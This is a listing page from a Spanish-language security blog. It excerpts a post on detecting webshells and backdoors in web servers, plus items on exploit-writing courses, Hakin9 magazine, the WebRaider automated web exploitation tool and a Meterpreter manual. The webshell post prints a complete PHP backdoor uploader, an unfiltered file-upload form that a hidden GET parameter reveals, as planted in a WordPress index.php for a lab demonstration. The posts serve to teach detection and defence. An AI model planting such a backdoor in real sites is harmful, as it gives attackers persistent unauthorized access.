Detectando Webshells o Backdoors en Servidores Web
Jun02

Detectando Webshells o Backdoors en Servidores Web

Es muy común ya ver cientos de páginas web “Defaceadas” o “hackeadas” una y otra vez, en ocasiones vemos que los grupos que se dedican a esta labor de hacer de una u otra manera “Hacktivismo” o ya sea sólo por demostrar sus conocimientos, repiten targets recalcando la mala seguridad que implementan en dichos targets (objetivos-páginas web) pues esto se debe a que una vez que es vulnerado un servidor web como tal, se plantan las famosas BACKDOORS o PUERTAS TRACERAS – no es suficiente con activar el Back Up (copia de seguridad) que muy seguramente tenemos para en un caso de emergencia restablecer el funcionamiento como tal del aplicativo. La función de un Backdoor o puerta trasera, consiste en dejar un “hueco” por donde un atacante pueda volver a tomar control del servidor o página web sin problema alguno, a continuación les explicaré una de las Backdoors mas fáciles de implementar en PHP. Esta Backdoor es simplemente un UPLOADER creado en PHP pero está oculto dentro de un archivo del sitio afectado, para este ejemplo usaremos www.wordpress.com (no se emocionen esto es en un entorno controlado LOCALMENTE xD ) CÓDIGO : <?php if (isset($_GET['backdoor'])) { echo '<center> <form action="" method="post" enctype="multipart/form-data"> Seleccione el Archivo <input value="Examinar" name="archivo" type="file"> <input value="0xSubir" type="submit"></form></center>'; if (isset($_FILES['archivo'])) { $ar=$_FILES['archivo']['name']; if (copy($_FILES['archivo']['tmp_name'],$path . $_FILES['archivo']['name'])) { echo '<center><h3>Archivo Subido en <a href="'.$ar.'">'.$ar.'</a></h3></center>'; } elseif (move_uploaded_file($_FILES['archivo']['tmp_name'],$path . $_FILES['archivo']['name'])){ echo '<center><h3>Archivo Subido en <a href="'.$ar.'">'.$ar.'</a></h3></center>'; } else { echo '<center><h3>Error al Subir Archivo</h3></center>'; } } } ?> Paso a explicar como funciona esta Backdoor. Como podemos observar en if (isset($_GET['backdoor'])) { nos esta diciendo que si el valor enviado por GET es backdoor, entonces nos va a mostrar nuestro UPLOADER, obviamente esta programado sin ningún tipo de filtros. Para una mayor comprensión veamos el ejemplo en el entorno controlado: Usaré en esta oportunidad el CMS ya conocido como WordPress .. se puede observar el sitio en normal funcionamiento, vemos que hay un post de una entrevista a Chema Alonso la cual se publico en el blog de la comunidad r00tc0d3rs para los que quieran leerla Aquí el Link (http://r00tc0d3rs.org/pequena-entrevista-a-chema-alonso-el-maligno/). lastimosamente corrimos con tan mala suerte que hemos sido vulnerados por un atacante el cual ha logrado montar una SHELL WEB con tan mala suerte que ni cuenta nos dimos de cuando sucedió esto ya que el atacante en esta ocasión no hizo un DEFACEMENT solo vulnero y tiene control de nuestro sitio, para evitar ser descubierto decidió borrar la SHELL que había montado pero no sin antes plantar su Backdoor. Aquí podemos observar la backdoor plantada en el archivo index.php Aquí logramos observar la manera de...

Leer Más

Cómo descubrir vulnerabilidades y escribir exploits

El Exploit Research es una persona que dedica su tiempo a buscar y explotar vulnerabilidades en el software, evadiendo sus protecciones, por lo general trabajan para empresas dedicadas a vender fallos a otras empresas o de manera independiente eligiendo si guardarlas para su uso privado, venderlas a las entidades gubernamentales o a empresas especializadas. Por mucho tiempo los Exploit Writers o Exploit Research  estuvieron rodeados de un aire misterioso, pero poco a poco se ha ido perdiendo este misterio gracias a iniciativas como Exploit Research Megaprimer. Exploit Research Megaprimer  es una iniciativa planteada por el usuario vivekr en los foros de BackTrack y llevada a cabo en SecurityTube, donde explican paso a paso y en vídeos, todo el camino que se recorre entre descubrir una vulnerabilidad y escribir el respectivo código que la explote, sin duda una excelente documentación que muchos hubiéramos querido tener hace años y ahora esta disponible para todos de forma gratuita.   I Introduction II Memcpy Buffer Overflow Exploitation III Strcpy Buffer Overflow Exploitation IV Minishare Buffer Overflow Exploitation V FreeSSHD Buffer Overflow VI SEH Basics VII Overwrite SEH VIII Exploiting SEH IX Guest Lecture X Binary Diffing Microsoft Patches Si te interesa esta área de la seguridad informática, te recomiendo que leas el blog de Rubén Santamarta, la entrevista que le realizamos a César Cerrudo y paginas como 48bits y OverflowedMinds, grandes exponentes de esta materia en...

Leer Más

Hakin9 Español GRATIS

Hakin9 español es una revista que habla de cuestiones relacionadas con la seguridad de los sistemas informáticos; tanto desde el punto de vista de la persona que rompe la seguridad, como desde el punto de vista de la persona que la asegura. Hakin9 español es publicada en catorce países del mundo y seis idiomas (francesa, italiana, inglesa, alemana, checa y polaca), aunque algunos años atrás dejo de existir Hakin9 español, la revista sigue siendo un referente en temas de seguridad informática y la mayoría de sus textos son vigentes al día de hoy. Para todos los interesados en ojear esta revista Hakin9 español, les cuento que ya no será necesario comprarla por megaupload o rapidshared, ya que los directivos de Hakin9 han decidido liberar su versión en ingles al público en general y permiten descargar en PDF su último ejemplar. En este número gratuito de Hakin9 español, hablan sobre temas como: Análisis forense en dispositivos móviles Firewalls para principiantes Pentest contra routers ADSL Escribiendo una shellcode para windows con un compilador de C Fraudes con ID’s Modelado de amenazas y como no puede faltar en cada edición, una entrevista a un personaje de la seguridad informática. hakin9 español puede descargarse totalmente gratis desde este enlace y suscribirse a su boletín de noticias, para que cada que salga un numero nuevo, te notifiquen al correo hakin9 español. Este tipo de revistas como hakin9 español lograron llevar la seguridad informatica a muchas partes donde por uno u otro motivo el acceso a internet es limitado o nulo, debemos agradecer a sus autores por esto  y si algún dia nos topamos con alguna edición de hakin9 español deberíamos comprarla sin pensarlo y compartirla con todos. Si prefieres la documentación hakin9 español te dejo un listado con los artículos gratuitos, que se alcanzaron a publicar de Hakin9 español, antes que dejaran de editarse Hakin9...

Leer Más

WebRaider – Explotación automatizada de aplicaciones Web

WebRaider es una herramienta para buscar y explotar vulnerabilidades de forma automatizada en aplicaciones web,  que se centra en la explotación de las aplicaciones web. La idea es simple, obtener una shell inversa o  de una inyección de SQL y una petición sin necesidad de utilizar un canal extra como TFTP, FTP para subir la carga inicial. Las características de esta herramienta son las siguientes: Realiza solo una solicitud, por lo tanto es mas rápido No es necesario ninguna herramienta, se puede simplemente utilizar el navegador o un sencillo proxy MITM Solo tienes que copiar y pegar el payload Es posible diseñar un ataque CSRF para que nos devuelva una shell inversa El payload no ocupa mas de 3500 caracteres No son necesarias aplicaciones del sistema como FTP, TFTP o Debug.exe Fácil de automatizar Aquí les dejo la presentación de la herramienta: De momento WebRaider solo funciona en entornos Microsoft Windows, pero al tener a la mano el código fuente no creo que tarden mucho en hacerlo correr para cualquier GNU Linux o Mac OS X utilizando WINE. Advertencia: Posiblemente esta herramienta sea detectada por tu antivirus como una “hacktool” o una amenaza para tu equipo, en ningún momento ha sido modificada por la comunidad dragonjar y el archivo es descargado directamente desde los servidores oficiales de WebRaider, tienes el código fuente disponible para que lo revises y crees tu propio ejecutable, en ningún momento la comunidad dragonjar ha introducido software malicioso en esta u otras herramientas publicadas desde nuestro portal. Descargar WebRaider Herramienta para explotación automatizadas en aplicaciones...

Leer Más

Manual en español de Meterpreter

Ya les habia comentado la iniciativa existente para traducir el manual del Metasploit Framework al español, pero en metasploit-es.com.ar ademas de traducir este excelente framework, se pusieron en la tarea de traducir el Manual de Meterpreter publicado por skape en NoLogin.org .No se ha modificado el contenido del manual, la traducción sigue manteniendo el contenido del mismo. Este manual es propiedad de skape, simplemente se limitaron a realizar la traducción al Español. ¿Que es Meterpreter? Meterpreter e es una familia de plugins avanzados de los mismos creadores del Metasploit Framework, que se utiliza sobre sistemas Windows comprometidos y tienen como característica fundamental que todo es cargado en la memoria del sistema sin crear ningún proceso adicional ni dejar rastros, permitiendo incluso la inyección dinámica de dll’s o la migración entre procesos del interprete. Los dejo entonces en compañia del manual traducido al español de Meterpreter Manual en español de Meterpreter 1 Prólogo 2 Introducción 3 Referencia Técnica 3.1 Especificaciones de Protocolo 3.1.1 Estructura TLV 3.1.2 Estructura de Paquete 3.1.3 Definido TLV 3.1.4 Flujo de paquetes 3.2 Server Extensions 3.3 Client Extensions 4 Using Meterpreter 5 Conclusion 6 Command Reference 6.1 Built-in Commands 6.1.1 use 6.1.2 loadlib 6.1.3 read 6.1.4 write 6.1.5 close 6.1.6 interact 6.1.7 initcrypt 6.2 Extension: Fs 6.2.1 cd 6.2.2 getcwd 6.2.3 ls 6.2.4 upload 6.2.5 download 6.3 Extension: Net 6.3.1 ipconfig 6.3.2 route 6.3.3 portfwd 6.4 Extension: Process 6.4.1 execute 6.4.2 kill 6.4.3 ps 6.5 Extension: Sys 6.5.1 getuid 6.5.2 sysinfo 6.5.3 rev2self 7 Common API 7.1 Channel Management 7.1.1 channel find by id 7.1.2 channel get id 7.1.3 channel get type 7.1.4 channel is interactive 7.1.5 channel open 7.1.6 channel read 7.1.7 channel write 7.1.8 channel close 7.1.9 channel interact 7.2 Command Registration 7.2.1 command register 7.2.2 command deregister 7.3 Packet Management 7.3.1 packet create 7.3.2 packet create response 7.3.3 packet destroy 7.3.4 packet duplicate 7.3.5 packet get type 7.3.6 packet get tlv meta type 7.3.7 packet add tlv string 7.3.8 packet add tlv uint 7.3.9 packet add tlv bool 7.3.10 packet add tlv group 7.3.11 packet add tlv raw 7.3.12 packet add tlvs 7.3.13 packet is tlv null terminated 7.3.14 packet get tlv 7.3.15 packet get tlv string 7.3.16 packet get tlv group entry 7.3.17 packet enum tlv 7.3.18 packet get tlv value string 7.3.19 packet get tlv value uint 7.3.20 packet get tlv value bool 7.3.21 packet add exception 7.3.22 packet get result 7.3.23 packet transmit 7.3.24 packet transmit empty response 7.4 Encryption 7.4.1 remote set cipher 7.4.2 remote get cipher 7.5 Scheduling 7.5.1 scheduler insert waitable 7.5.2 scheduler remove waitable 7.5.3 scheduler run Ver en linea el Manual en español de...

Leer Más

Siguenos!

O Puedes Subscribete

ANTES DE

SALIRTE ...

NO TE

ARREPENTIRÁS

!Gracias¡

NO OLVIDES NUESTRAS REDES SOCIALES